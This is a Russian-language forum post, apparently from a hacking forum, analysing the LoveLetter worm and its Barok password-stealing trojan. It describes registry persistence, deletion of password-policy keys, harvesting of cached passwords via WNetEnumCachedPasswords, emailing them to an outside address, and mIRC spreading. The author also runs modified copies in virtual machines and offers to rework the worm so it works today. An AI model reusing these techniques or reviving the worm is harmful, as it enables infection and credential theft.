Затем он проверяет наличие подраздела WinFAT32 в следующем ключе реестра:
Код:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Выполнить
Если подраздел WinFAT32 не найден, он создает его, копирует себя в каталог Windows\System\ как WINFAT32.exe и затем запускает файл из этого места.
Вышеуказанная модификация ключа реестра приводит к тому, что вор паролей становится активным каждый раз при запуске Windows. Затем троян устанавливает стартовую страницу Internet Explorer на «about:blank». После этого пытается найти и удалить следующие ключи в реестре:
Код:
Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds
Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching
.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\HideSharePwds
.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching
Затем троянец регистрирует новый класс окна и создает скрытое окно с названием «BAROK...» и остается в памяти Windows как скрытое приложение. Сразу после запуска и когда счетчики таймера достигают определенных значений, троянец загружает MPR.DLL. библиотека, вызывает функцию WNetEnumCachedPasswords и отправляет украденные пароли RAS и все кэшированные пароли Windows на адрес электронной почты emailme@super.net.ph, который, скорее всего, принадлежит де… как там его имя… Де Гузману, во.
Троян использует почтовый сервер smtp.super.net.ph. ' для отправки электронных писем. Тема письма выглядит как: «Barok... email.passwords.sender.trojan». В теле самого .vbs скрипта есть сообщение об авторских правах.
Само распространение в IRC достаточно примитивное. Червь создает HTML-файл под названием «LOVE-LETTER-FOR-YOU.HTM» в системном каталоге Windows. Этот файл содержит в себе Loveletter.vbs , и он будет отправлен с помощью mIRC всякий раз, когда новый пользователь присоединится к IRC-каналу, где в настоящее время находится зараженный пользователь. Для этого червь заменяет файл "script.ini" из каталога установки mIRC.
В версии новее есть некоторые непонятные штуки, зачем-то после всех этих манипуляций происходит смена стартовой страницы браузера на сайт с приложением для знакомств, логично, что там какой-то троян или тому подобная пакость.
Затем я нашел строку, где указаны файлы с какими расширениями подлежат замене и мне стало интересно, что будет, если зашифровать .dll и .bat, если не ошибаюсь запуск 98-й винды с .bat тесно связан. Попробуем? Конечно.
Заменяем несколько значений, перезапускаем виртуальную машину и… Результат:
Он почему-то начал жаловаться на отсутствие памяти, ну и ладно.
Затем переходим к 7-рке, здесь я очень скептически на это смотрю, но попробовать стоит.
Жаль, что под рукой нет ХР, а качать лень.
Открываем. Результат достаточно странный, выдает сообщение об ошибке, а после и просто копирует на весь рабочий стол скрипт.
Виндовс 10 отказался запускать вовсе, никак не отреагировав.
А-а, кстати, нашел ещё один олдскул, что аж олдскулы свело - Apocalypse II. С помощью этой штуковины можно сделать что-то типа того же LoveLetter, но оно уже должно работать везде и будет иметь расширение .exe.
Для примера создадим что-то типа этого:
Итоги
И вот так вот обычный VBS скрипт распространился на 55 миллионов устройств по всему миру, Книга Рекордов, начало нулевых, остановленная работа целых компаний, та даже Пентагон - и все это о черве LoveLetter, поистине захватывающая история и интересная судьба Анеля де Гузмана.
Он мог работать в том же Майкрософте или Пентагоне, но он избрал путь наименьшего сопротивления. Не нам судить, но как по мне он потерял в своей жизни очень много шансов.
Как бы странно это не звучало, но если этот скрипт переделать слегка, он будет работать и по сей день, если вам интересно, то могу создать отдельную статью, где мы займемся переделкой этого легендарного червя, а после и запустим на небольшой тест.
Давно я не писал, и да.. Действительно чувствуется, что немного ослаб в этом деле, всему виной обстоятельства. Простите. А с вами был поствоенный парень с ником DeathDay и очередная писанина. Свидимся. Мира, жизни, любви всем.
Последнее редактирование модератором: